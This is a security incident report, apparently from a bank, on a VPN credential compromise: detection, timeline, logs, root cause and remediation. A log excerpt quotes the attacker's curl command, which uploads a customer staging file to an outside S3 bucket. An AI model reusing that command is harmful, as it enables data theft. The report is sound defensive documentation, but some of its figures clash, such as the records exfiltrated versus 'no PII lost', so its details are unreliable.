🛡️ Bank of Ontario: Security Incident Report

Incident Summary

- **Title**: Unauthorized Access via Compromised VPN Credentials
- **Date of Incident**: May 23, 2025
- **Date of Resolution**: May 26, 2025
- **Severity**: Critical
- **Impact**: Unauthorized exfiltration of non-production customer data (approx. 28,000 records)
- **Root Cause**: Compromised credentials exploited via legacy VPN endpoint with inadequate MFA enforcement

---

1. Initial Detection

Date/Time: *May 23, 2025 – 03:26 AM EST*
Detected By: Cisco SecureX (Integrated with Cisco Secure Firewall and Secure Network Analytics)
Alert Name: `Anomalous VPN Login - Impossible Travel`
Asset: `vpn-gw2.bankontario.net`

Security Analyst on Call:

- *Name*: **Leila Farhani**, Tier 2 SOC Analyst
- *Location*: Toronto SOC

Alert Summary:

- User `r.thompson@bankontario.net` logged in from **Warsaw, Poland**, then 16 minutes later from **Toronto, Canada**.
- IP: `185.220.101.57` (Tor exit node)

- VPN endpoint: `vpn-gw2.bankontario.net`
- MFA: *Bypassed via legacy token fallback*

---

2. Escalation

Escalated To:

- **Ravi Khurana**, Incident Response Lead
- **Amira Dosanjh**, VP Cybersecurity Operations
- **Cisco Customer Experience (CX) Services Team** (via 24/7 IR Retainer)
- **Deloitte Canada**, Cyber Risk Advisory (IR Partner)

Escalation Time: *May 23, 2025 – 04:14 AM EST*
IR Ticket: BOO-SEC-2025-0587

---

3. Timeline of Events

Time (EST)	Event Description
03:26 AM	Cisco SecureX flags anomalous VPN activity
03:28 AM	Alert correlated with identity behavior anomaly via SecureX orchestration
03:45 AM	Leila confirms session fingerprint mismatch and lateral movement attempt
04:14 AM	Escalated to IR Lead Ravi Khurana, Deloitte IR team engaged
04:39 AM	Threat actor found querying internal confluence docs via RDP on host `INT-ENG-BETA04`
05:10 AM	Cisco Talos Threat Hunting engaged to trace the actor's footprint
06:02 AM	Deloitte deploys endpoint forensics via Carbon Black Live Response
07:30 AM	Malicious exfil via curl to AWS S3 endpoint identified in bash history

08:15 AM	Cisco Secure Endpoint (AMP) begins automated host quarantine
09:02 AM	Temporary disablement of legacy VPN fallback MFA for 117 users
11:00 AM	All endpoints accessed by `r.thompson` scanned and logs preserved
01:12 PM	Compromised password believed reused from LinkedIn breach (2023)
05:30 PM	Incident fully contained — root cause validated

---

4. Logs (Excerpt from SecureX + VPN + Audit)

yaml
CopyEdit

```
2025-05-23 03:26:12 [VPN-GW2] LoginSuccess
user=r.thompson@bankontario.net ip=185.220.101.57 method=MFA-fallback
2025-05-23 03:27:58 [VPN-GW2] LoginSuccess
user=r.thompson@bankontario.net ip=72.137.119.204
2025-05-23 03:28:41 [SecureX] ALERT: Impossible travel for user
r.thompson - IPs: 185.220.101.57 vs 72.137.119.204
2025-05-23 03:45:12 [SNORT] Suspicious RDP activity:
Host=INT-ENG-BETA04 -> 10.13.44.18
2025-05-23 04:07:29 [CB Response] bash history: `curl
https://s3.eu-west-1.amazonaws.com/bk-dump/boo.tar.gz -T
/tmp/customer_staging.csv`
2025-05-23 08:15:00 [Cisco AMP] Host INT-ENG-BETA04 quarantined.
SHA256=b0ff6f2c...
```

---

5. Root Cause

- **Credential Compromise**: r.thompson's credentials were found in a dark web dump from the 2023 LinkedIn breach.
- **Policy Weakness**: VPN system allowed MFA fallback using legacy OTP token not tied to device biometrics.
- **Security Gap**: No session fingerprinting or geo-velocity enforcement for legacy VPN access.

---

6. Remediation

✅ Short-Term

- Revoked and rotated credentials for all VPN users
- Disabled all MFA fallback options organization-wide
- Blocked all TOR exit nodes on firewall
- Quarantined 4 affected endpoints and conducted memory dumps
- Cisco Secure Access enabled for device-aware policies

✅ Medium-Term

- Moved all VPN access behind **Cisco Duo + SSO with Conditional Access**
- Re-segmented engineering and dev environments using **Cisco SD-Access**
- Initiated rollout of **Cisco Umbrella DNS Protection** for outbound blocking

✅ Long-Term

- Deloitte initiated tabletop simulation for future breach response
- Upgraded SecureX playbooks to include session anomaly fingerprinting
- Integrated Cisco XDR telemetry with SIEM (Splunk Cloud) for 30-min SLA alerting
- Launched phishing/malware awareness refresh campaign

---

7. People Involved

Name	Role	Affiliation
Leila Farhani	SOC Analyst (Tier 2)	Bank of Ontario
Ravi Khurana	IR Lead	Bank of Ontario

Amira Dosanjh	VP Cybersecurity Operations	Bank of Ontario
Sanjay Mehta	CX Threat Response Lead	Cisco Services
Brenda King	Forensic Lead	Deloitte Canada
Dr. Kate Young	Principal, Cyber Risk Advisory	Deloitte Canada

---

8. Lessons Learned

- MFA fallback creates high-risk attack surface — **must be removed or hardened**.
- Legacy VPNs are a growing liability; **zero trust posture is mandatory**.
- Faster correlation via Cisco XDR + Deloitte MDR would have reduced lateral time.

---

9. Final Status

- **Incident Closed**: May 26, 2025, 08:00 PM EST
- **Forensics Report Delivered**: May 28, 2025
- **No PII lost**, only anonymized staging data accessed
- **Regulatory Impact**: None. Logged per FINTRAC advisory.